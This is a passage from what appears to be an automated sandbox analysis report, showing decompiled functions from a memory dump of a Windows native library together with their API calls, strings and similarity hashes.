								_t22 = _t65 + 0xc; // 0xc
								RtlInitUnicodeString( &_v48, _t22);
								if(E6D31F13B(_v24, _v20,  &_v48,  &_v16,  &_v12) >= 0) {
									 *0x6d226cc4( *_t63);
									 *_t63 = _v16;
								}
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t65);
						}
					}
				}
				return _t56;
			}

0x6d31f021
0x6d31f030
0x6d31f032
0x6d31f035
0x6d31f038
0x6d31f03b
0x6d31f041
0x6d31f056
0x6d31f05a
0x6d31f072
0x6d31f075
0x6d31f078
0x6d31f07b
0x6d31f08f
0x6d31f098
0x6d31f0c3
0x6d31f0c7
0x6d31f0cc
0x6d31f0cd
0x6d31f0d3
0x6d31f0d4
0x6d31f0d6
0x6d31f0d7
0x6d31f0e1
0x6d31f0e9
0x6d31f0f1
0x6d31f110
0x6d31f114
0x6d31f11d
0x6d31f11d
0x6d31f110
0x6d31f12b
0x6d31f12b
0x6d31f0c7
0x6d31f098
0x6d31f138

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6D31F03B

Part of subcall function 6D31F13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6D31F182
Part of subcall function 6D31F13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6D31F056), ref: 6D31F19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6D31F07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6D31F08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6D31F0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6D31F0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6D31F0F1
ZwClose.1105(?,?,?,00000002), ref: 6D31F114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6D31F12B

Strings

RedirectedKey, xrefs: 6D31F06A
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6D31F02B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: cce1f18ab36a116c720eb9579d51bd20dc8c8962e74e017b2ceeb986666fd3aa
Instruction ID: d2b6690845fe4c79bcaf348659afeb028c169f050022e148d2523c0db97456ff
Opcode Fuzzy Hash: cce1f18ab36a116c720eb9579d51bd20dc8c8962e74e017b2ceeb986666fd3aa
Instruction Fuzzy Hash: 7531FB76A0510AAFDB15DF94CD89EAFBBBDEB08319F108065F605E2210DB319A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2E5100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85
nativethreadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D2E5100(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v732;
				char _v736;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t17;
				char _t23;
				void* _t24;
				void* _t26;
				void* _t29;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				signed int _t37;
				void* _t38;
				void* _t43;
				void* _t44;

				_v8 =  *0x6d33d360 ^ _t37;
				_t30 = _a8;
				_t36 = _a16;
				_t35 = _a4;
				_push( &_v732);
				E6D29DDD0( &_v732, __ecx, _t34, _t35, _t36);
				while(1) {
					_t17 = _t36;
					if(_t36 == 0) {
						_t17 = 0x6d2248a4;
					}
					_push(_a12);
					_push(_t30);
					_push(_t35);
					E6D2D5720(0x65, 0, "\n*** Assertion failed: %s%s\n***   Source File: %s, line %ld\n\n", _t17);
					_t38 = _t38 + 0x1c;
					if(E6D2F8D47() == 0) {
						break;
					}
					if(E6D2D5780("Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ",  &_v736, 2) == 0) {
						asm("int3");
						L19:
						_push(0xc0000001);
						_push(0xffffffff);
						_t19 = E6D2897C0();
						break;
					}
					_t23 = _v736;
					_t43 = _t23 - 0x62;
					if(_t43 > 0) {
						_t19 = _t23 - 0x69;
						L10:
						if(_t44 == 0) {
							break;
						}
						_t24 = _t19 - 6;
						if(_t24 == 0) {
							L15:
							_t19 = E6D2D5720(0x65, 0, "Execute \'.cxr %p\' to dump context\n",  &_v732);
							_t38 = _t38 + 0x10;
							asm("int3");
							if(_v736 == 0x6f) {
								break;
							}
							if(_v736 != 0x4f) {
								continue;
							}
							break;
						}
						_t26 = _t24 - 1;
						if(_t26 == 0) {
							goto L19;
						}
						if(_t26 == 4) {
							_push(0xc0000001);
							_push(0xfffffffe);
							E6D289A30();
						}
						continue;
					}
					if(_t43 == 0) {
						goto L15;
					}
					_t29 = _t23 - 0x42;
					_t44 = _t29;
					if(_t44 == 0) {
						goto L15;
					}
					_t19 = _t29 - 7;
					goto L10;
				}
				return E6D28B640(_t19, _t30, _v8 ^ _t37, _t34, _t35, _t36);
			}

0x6d2e5112
0x6d2e5116
0x6d2e5120
0x6d2e5124
0x6d2e5127
0x6d2e5128
0x6d2e512d
0x6d2e512d
0x6d2e5131
0x6d2e5133
0x6d2e5133
0x6d2e5138
0x6d2e513b
0x6d2e513c
0x6d2e5147
0x6d2e514c
0x6d2e5156
0x00000000
0x00000000
0x6d2e5171
0x6d2e51de
0x6d2e51df
0x6d2e51df
0x6d2e51e4
0x6d2e51e6
0x00000000
0x6d2e51e6
0x6d2e5173
0x6d2e517a
0x6d2e517d
0x6d2e518b
0x6d2e518e
0x6d2e518e
0x00000000
0x00000000
0x6d2e5190
0x6d2e5193
0x6d2e51ad
0x6d2e51bd
0x6d2e51c2
0x6d2e51c5
0x6d2e51cd
0x00000000
0x00000000
0x6d2e51d6
0x00000000
0x00000000
0x00000000
0x6d2e51dc
0x6d2e5195
0x6d2e5198
0x00000000
0x00000000
0x6d2e519d
0x6d2e519f
0x6d2e51a4
0x6d2e51a6
0x6d2e51a6
0x00000000
0x6d2e519d
0x6d2e517f
0x00000000
0x00000000
0x6d2e5181
0x6d2e5181
0x6d2e5184
0x00000000
0x00000000
0x6d2e5186
0x00000000
0x6d2e5186
0x6d2e51fb

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6D2E5128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6D2AD3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6D2E5147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6D2E516A
ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6D2E51A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6D2E51BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6D2E51E6

Strings

Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6D2E5165
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6D2E513E
Execute '.cxr %p' to dump context, xrefs: 6D2E51B4
O, xrefs: 6D2E51CF

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: 5b06326c757168b87900cc2397d3d4d659c8ef4274ae8e631b3f59c6708e79f2
Instruction ID: 253ae149ae41c3991eb26050f3e4f109dd8a32ee793cd797a3410586a1d80cda
Opcode Fuzzy Hash: 5b06326c757168b87900cc2397d3d4d659c8ef4274ae8e631b3f59c6708e79f2
Instruction Fuzzy Hash: CB216B729E815F7AEF1089748C04FBA7768DB82396FA145A2FA24FE081D761DE01C761

Uniqueness

Uniqueness Score: -1.00%

Function 6D246800, Relevance: 16.9, APIs: 11, Instructions: 373
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E6D246800(void* __ebx, void* __edi, void* __esi, void** _a4, signed short* _a8, intOrPtr _a12, signed short* _a16, signed short* _a20, void* _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, signed char _a44) {
				char _v5;
				void* _v12;
				void _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;
				intOrPtr* _t132;
				int _t153;
				long _t154;
				void* _t158;
				void _t162;
				void* _t194;
				int _t196;
				void* _t205;
				void* _t206;
				signed short* _t207;
				void* _t209;
				signed int _t211;
				intOrPtr* _t212;
				signed short* _t213;
				signed int _t215;
				signed short* _t217;
				void* _t219;
				void _t228;
				void _t229;
				signed int _t238;
				intOrPtr _t256;
				void* _t262;
				short _t268;
				intOrPtr _t269;
				signed int _t271;
				void* _t272;
				intOrPtr* _t273;
				void* _t275;
				intOrPtr* _t276;
				long _t278;
				void* _t279;

				_t275 = __esi;
				_t272 = __edi;
				_t205 = __ebx;
				if((_a44 & 0xfffffffe) != 0) {
					L61:
					return 0xc000000d;
				}
				_v24 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E6D246BF3(_a8) < 0) {
					goto L61;
				}
				_t256 = _a12;
				_t215 = 0;
				if(_t256 != 0) {
					_t124 = E6D246BF3(_t256);
					_t215 = 0;
				} else {
					_t124 = 0;
				}
				if(_t124 < 0) {
					goto L61;
				} else {
					_push(_t205);
					_v5 = _t215;
					_v32 = _t215;
					_t217 = _a16;
					_t206 = 0x5c;
					if(_t217 == 0) {
						L12:
						_t207 = _a20;
						if(_t207 == 0) {
							_t125 = 0;
						} else {
							_t125 = E6D246BF3(_t207);
						}
						if(_t125 < 0) {
							L65:
							_t126 = 0xc000000d;
							goto L53;
						} else {
							_t218 = _a28;
							if(_a28 == 0) {
								_t219 = 0;
								_t127 = 0;
							} else {
								_t127 = E6D246BF3(_t218);
								_t219 = 0;
							}
							if(_t127 < 0) {
								goto L65;
							} else {
								_t128 = _a32;
								if(_a32 == 0) {
									_t129 = _t219;
								} else {
									_t129 = E6D246BF3(_t128);
									_t219 = 0;
								}
								if(_t129 < 0) {
									goto L65;
								} else {
									_push(_t275);
									_t276 = _a36;
									if(_t276 == 0) {
										_t130 = _t219;
									} else {
										_t130 = E6D246BF3(_t276);
										_t219 = 0;
									}
									if(_t130 < 0) {
										_t126 = 0xc000000d;
										goto L52;
									} else {
										_push(_t272);
										_t273 = _a40;
										if(_t273 == 0) {
											_t131 = _t219;
										} else {
											_t131 = E6D246BF3(_t273);
										}
										if(_t131 < 0) {
											_t126 = 0xc000000d;
											goto L51;
										} else {
											if(_t207 == 0) {
												_t207 = _a8;
												_a20 = _t207;
											}
											_t132 = _a28;
											if(_t132 == 0) {
												_t132 = 0x6d221ab0;
												_a28 = 0x6d221ab0;
											}
											if(_a32 == 0) {
												_a32 = 0x6d221ab0;
											}
											if(_t276 == 0) {
												_t276 = 0x6d221ab0;
												_a36 = 0x6d221ab0;
											}
											if(_t273 == 0) {
												_t273 = 0x6d221ab0;
											}
											_t209 = 3;
											_t278 = 0;
											_t228 = (( *_t207 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_t132 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + (( *_a8 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a32 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + 0x4ac + (( *(_t276 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
											_v16 = _t228;
											if( *_t273 != 0) {
												_t228 = _t228 + (( *(_t273 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t228;
											}
											if(_t256 != 0) {
												_t229 = _t228 + (( *(_t256 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t229;
											}
											if(_a24 != _t278) {
												_t153 = E6D27585B(_a24, 1);
												_t229 = _v16;
											} else {
												_t153 =  *((intOrPtr*)(_v24 + 0x290));
											}
											_v20 = _t153;
											_t211 = _t153 + 0x00000003 & 0xfffffffc;
											if(_t211 < _t153) {
												L77:
												_t126 = 0xc0000095;
												goto L51;
											} else {
												while(1) {
													_t154 = _t211 + _t229;
													if(_t154 < _t229) {
														goto L77;
													}
													_t279 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t278, _t154);
													if(_t279 == 0) {
														_t126 = 0xc000009a;
														L51:
														L52:
														L53:
														return _t126;
													}
													_t158 = _t279 + _v16;
													_v12 = _t158;
													if(_a24 != 0) {
														memcpy(_t158, _a24, _v20);
														L42:
														memset(_t279, 0, 0x2a4);
														_t162 = _v16;
														 *_t279 = _t162;
														 *(_t279 + 4) = _t162;
														 *(_t279 + 0x290) = _t211;
														 *((intOrPtr*)(_t279 + 0xc)) = 0;
														_t53 = _t279 + 0x24; // 0x24
														_t212 = _t53;
														 *((intOrPtr*)(_t279 + 0x2c)) = 0;
														 *((intOrPtr*)(_t279 + 0x48)) = _v12;
														_t57 = _t279 + 0x2a4; // 0x2a4
														_v12 = _t57;
														 *((intOrPtr*)(_t279 + 8)) = 1;
														 *(_t279 + 0x14) =  *(_v24 + 0x14) & 1;
														_t169 = _a16;
														if(_a16 == 0) {
															L6D25EEF0(0x6d3379a0);
															E6D246C14( &_v12, _t212, _v24 + 0x24, 0x208);
															E6D25EB70( &_v12, 0x6d3379a0);
														} else {
															E6D246C14( &_v12, _t212, _t169, 0x208);
															if(_v5 != 0) {
																_t268 = 0x5c;
																 *((short*)( *((intOrPtr*)(_t279 + 0x28)) + _v32 * 2)) = _t268;
																_t194 = 2;
																 *_t212 =  *_t212 + _t194;
															}
														}
														_t234 = _a12;
														if(_a12 != 0) {
															_t104 = _t279 + 0x30; // 0x30
															E6D246C14( &_v12, _t104, _t234,  *(_t234 + 2) & 0x0000ffff);
														}
														_t72 = _t279 + 0x38; // 0x38
														E6D246C14( &_v12, _t72, _a8, ( *_a8 & 0x0000ffff) + 2);
														_t213 = _a20;
														_t75 = _t279 + 0x40; // 0x40
														_t262 = _t75;
														_t238 =  *_t213 & 0x0000ffff;
														_t180 = _t213[1] & 0x0000ffff;
														if(_t238 != (_t213[1] & 0x0000ffff)) {
															_t180 = _t238 + 2;
														}
														E6D246C14( &_v12, _t262, _t213, _t180);
														_t80 = _t279 + 0x70; // 0x70
														E6D246C14( &_v12, _t80, _a28,  *(_a28 + 2) & 0x0000ffff);
														_t84 = _t279 + 0x78; // 0x78
														E6D246C14( &_v12, _t84, _a32,  *(_a32 + 2) & 0x0000ffff);
														_t88 = _t279 + 0x80; // 0x80
														E6D246C14( &_v12, _t88, _a36,  *(_a36 + 2) & 0x0000ffff);
														if( *_t273 != 0) {
															_t118 = _t279 + 0x88; // 0x88
															E6D246C14( &_v12, _t118, _t273,  *(_t273 + 2) & 0x0000ffff);
														}
														if((_a44 & 0x00000001) == 0) {
															_t279 = E6D2CBCB0(_t279);
														}
														_t126 = 0;
														 *_a4 = _t279;
														goto L51;
													}
													L6D25EEF0(0x6d3379a0);
													_t269 = _v24;
													_t196 =  *(_t269 + 0x290);
													_v20 = _t196;
													_t251 = _t196 + 0x00000003 & 0xfffffffc;
													_v28 = _t196 + 0x00000003 & 0xfffffffc;
													if(_t196 > _t211) {
														E6D25EB70(_t251, 0x6d3379a0);
														_t278 = 0;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t279);
														_t211 = _v28;
														_t229 = _v16;
														if(_t211 >= _v20) {
															continue;
														}
														goto L77;
													}
													memcpy(_v12,  *(_t269 + 0x48), _t196);
													E6D25EB70(_t251, 0x6d3379a0);
													_t211 = _v28;
													goto L42;
												}
												goto L77;
											}
										}
									}
								}
							}
						}
					}
					_t271 = ( *_t217 & 0x0000ffff) >> 1;
					_v32 = _t271;
					if(E6D246BF3(_t217) < 0 || _t271 == 0) {
						goto L65;
					} else {
						if( *((intOrPtr*)(_t217[2] + _t271 * 2 - 2)) == _t206) {
							L11:
							_t256 = _a12;
							goto L12;
						}
						if(_t271 > 0x103) {
							goto L65;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x6d246800
0x6d246800
0x6d246800
0x6d24680f
0x6d2a1b26
0x00000000
0x6d2a1b26
0x6d246821
0x6d24682b
0x00000000
0x00000000
0x6d246831
0x6d246834
0x6d246838
0x6d246b68
0x6d246b6d
0x6d24683e
0x6d24683e
0x6d24683e
0x6d246842
0x00000000
0x6d246848
0x6d246848
0x6d246849
0x6d24684c
0x6d24684f
0x6d246854
0x6d246857
0x6d246893
0x6d246893
0x6d246898
0x6d2a1b30
0x6d24689e
0x6d2468a0
0x6d2468a0
0x6d2468a7
0x6d2a1b47
0x6d2a1b47
0x00000000
0x6d2468ad
0x6d2468ad
0x6d2468b2
0x6d2a1b37
0x6d2a1b39
0x6d2468b8
0x6d2468b8
0x6d2468bd
0x6d2468bd
0x6d2468c1
0x00000000
0x6d2468c7
0x6d2468c7
0x6d2468cc
0x6d2a1b40
0x6d2468d2
0x6d2468d4
0x6d2468d9
0x6d2468d9
0x6d2468dd
0x00000000
0x6d2468e3
0x6d2468e3
0x6d2468e4
0x6d2468e9
0x6d2a1b51
0x6d2468ef
0x6d2468f1
0x6d2468f6
0x6d2468f6
0x6d2468fa
0x6d2a1b58
0x00000000
0x6d246900
0x6d246900
0x6d246901
0x6d246906
0x6d2a1b62
0x6d24690c
0x6d24690e
0x6d24690e
0x6d246915
0x6d2a1b69
0x00000000
0x6d24691b
0x6d24691d
0x6d2a1b73
0x6d2a1b76
0x6d2a1b76
0x6d246923
0x6d24692d
0x6d2a1b7e
0x6d2a1b80
0x6d2a1b80
0x6d246937
0x6d2a1b88
0x6d2a1b88
0x6d24693f
0x6d2a1b90
0x6d2a1b92
0x6d2a1b92
0x6d246947
0x6d2a1b9a
0x6d2a1b9a
0x6d246959
0x6d24698f
0x6d246991
0x6d246993
0x6d246999
0x6d2a1baa
0x6d2a1bac
0x6d2a1bac
0x6d2469a1
0x6d246b7d
0x6d246b7f
0x6d246b7f
0x6d2469aa
0x6d246b8d
0x6d246b92
0x6d2469b0
0x6d2469b3
0x6d2469b3
0x6d2469bc
0x6d2469bf
0x6d2469c4
0x6d2a1bdf
0x6d2a1bdf
0x00000000
0x6d2469ca
0x6d2469ca
0x6d2469ca
0x6d2469cf
0x00000000
0x00000000
0x6d2469e5
0x6d2469e9
0x6d2a1c0f
0x6d246b5d
0x6d246b5e
0x6d246b5f
0x00000000
0x6d246b5f
0x6d2469f2
0x6d2469f8
0x6d2469fb
0x6d246ba1
0x6d246a44
0x6d246a4d
0x6d246a52
0x6d246a57
0x6d246a5a
0x6d246a62
0x6d246a68
0x6d246a6b
0x6d246a6b
0x6d246a6e
0x6d246a74
0x6d246a77
0x6d246a7d
0x6d246a83
0x6d246a8b
0x6d246a8e
0x6d246a93
0x6d246bb3
0x6d246bc9
0x6d246bd3
0x6d246a99
0x6d246aa4
0x6d246aad
0x6d246ab7
0x6d246aba
0x6d246abe
0x6d246abf
0x6d246abf
0x6d246aad
0x6d246ac2
0x6d246ac7
0x6d246be1
0x6d246be9
0x6d246be9
0x6d246ad0
0x6d246ade
0x6d246ae3
0x6d246ae6
0x6d246ae6
0x6d246ae9
0x6d246aec
0x6d246af3
0x6d246af5
0x6d246af5
0x6d246afd
0x6d246b05
0x6d246b11
0x6d246b19
0x6d246b25
0x6d246b2d
0x6d246b3c
0x6d246b46
0x6d2a1bed
0x6d2a1bf8
0x6d2a1bf8
0x6d246b50
0x6d2a1c08
0x6d2a1c08
0x6d246b59
0x6d246b5b
0x00000000
0x6d246b5b
0x6d246a06
0x6d246a0b
0x6d246a0e
0x6d246a14
0x6d246a1a
0x6d246a1d
0x6d246a22
0x6d2a1bb9
0x6d2a1bc5
0x6d2a1bcb
0x6d2a1bd0
0x6d2a1bd3
0x6d2a1bd9
0x00000000
0x00000000
0x00000000
0x6d2a1bd9
0x6d246a2f
0x6d246a3c
0x6d246a41
0x00000000
0x6d246a41
0x00000000
0x6d2469ca
0x6d2469c4
0x6d246915
0x6d2468fa
0x6d2468dd
0x6d2468c1
0x6d2468a7
0x6d24685c
0x6d24685e
0x6d246868
0x00000000
0x6d246876
0x6d24687e
0x6d246890
0x6d246890
0x00000000
0x6d246890
0x6d246886
0x00000000
0x00000000
0x6d24688c
0x00000000
0x6d24688c
0x6d246868

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6D2469E0
RtlEnterCriticalSection.1105(6D3379A0,?,00000000,?), ref: 6D246A06
memcpy.1105(?,?,?,6D3379A0,?,00000000,?), ref: 6D246A2F
RtlLeaveCriticalSection.1105(6D3379A0), ref: 6D246A3C
memset.1105(00000000,00000000,000002A4,6D3379A0), ref: 6D246A4D

Part of subcall function 6D246C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6D246BCE,?,00000208,6D3379A0,?,?,6D3379A0), ref: 6D246C39
Part of subcall function 6D246C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6D246BCE,?,00000208,6D3379A0,?,?,6D3379A0), ref: 6D246C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6D2A1C03

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: e4861d6d24ff77d3bfd1ef5db3f2af61bc7520eb72a0a71960a07a9422f5f0ec
Instruction ID: 3cee9d4479763bd52e2b6786bd87e6a5b22b9c260bf6edffa301fe7a865b10b8
Opcode Fuzzy Hash: e4861d6d24ff77d3bfd1ef5db3f2af61bc7520eb72a0a71960a07a9422f5f0ec
Instruction Fuzzy Hash: 89D1B171A9421E9BCB09CF68C8D0AFA77B4FF0531AF05852AED55D7280E734D985CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C51BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D2C51BE(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t101;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t108;
				signed int _t110;
				void* _t113;
				int _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x6d3205f0);
				E6D29D0E8(__ebx, __edi, __esi);
				 *(_t118 - 0x80) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L6D25EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *(_t118 - 0x80);
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E6D2C53CA(0);
						return E6D29D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					memcpy(_t108, _t101, _t115);
					 *((short*)( *(_t118 - 0x80) + _t115)) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E6D263690(1, _t117, 0x6d221810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *(_t118 - 0x70) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E6D28AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *(_t118 - 0x70));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *(_t118 - 0x70));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E6D28AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E6D2C500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t101 >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E6D289860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x6d2c51be
0x6d2c51c3
0x6d2c51c8
0x6d2c51cd
0x6d2c51d0
0x6d2c51d3
0x6d2c51d8
0x6d2c51db
0x6d2c51de
0x6d2c51e0
0x6d2c51e3
0x6d2c51e6
0x6d2c51e8
0x6d2c5342
0x6d2c5351
0x6d2c5356
0x6d2c535a
0x6d2c5360
0x6d2c5363
0x6d2c5366
0x6d2c5369
0x6d2c5369
0x6d2c536b
0x6d2c536b
0x6d2c5370
0x6d2c53a3
0x6d2c53a4
0x6d2c53a6
0x6d2c53ab
0x6d2c53ab
0x6d2c53ae
0x6d2c53ae
0x6d2c53b5
0x6d2c53bf
0x6d2c53bf
0x6d2c5375
0x6d2c5396
0x6d2c53a0
0x6d2c53a0
0x00000000
0x6d2c5396
0x6d2c5377
0x6d2c5379
0x6d2c537f
0x6d2c538c
0x6d2c5390
0x00000000
0x6d2c5390
0x6d2c51ee
0x6d2c51f1
